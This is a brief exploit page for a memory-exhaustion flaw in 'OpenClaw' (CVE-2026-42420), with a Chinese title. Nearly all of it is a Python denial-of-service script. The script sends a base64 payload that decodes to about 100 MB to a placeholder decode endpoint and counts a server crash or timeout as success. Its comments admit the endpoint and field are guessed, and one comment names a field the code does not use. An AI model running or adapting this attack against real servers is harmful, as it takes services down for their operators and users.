CVE-2026-42420 OpenClaw内存耗尽漏洞

import requests import base64 def generate_exploit_payload(size_mb): """Generates a base64 payload that decodes to a large size.""" # Create a large block of data data = b'A' * (size_mb * 1024 * 1024) # Encode to base64 return base64.b64encode(data).decode('utf-8') def exploit(target_url, size_mb=100): """Sends the payload to the target OpenClaw instance.""" payload = generate_exploit_payload(size_mb) print(f"Generated payload with encoded length: {len(payload)}") # Assuming the vulnerable endpoint accepts a JSON body with a 'data' field # The specific endpoint depends on the OpenClaw implementation try: response = requests.post( target_url, json={"input": payload}, timeout=10 ) print(f"Server response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Exploit likely successful (Server crashed or timed out): {e}") if __name__ == "__main__": # Replace with actual target endpoint TARGET = "http://vulnerable-openclaw-server/api/decode" exploit(TARGET)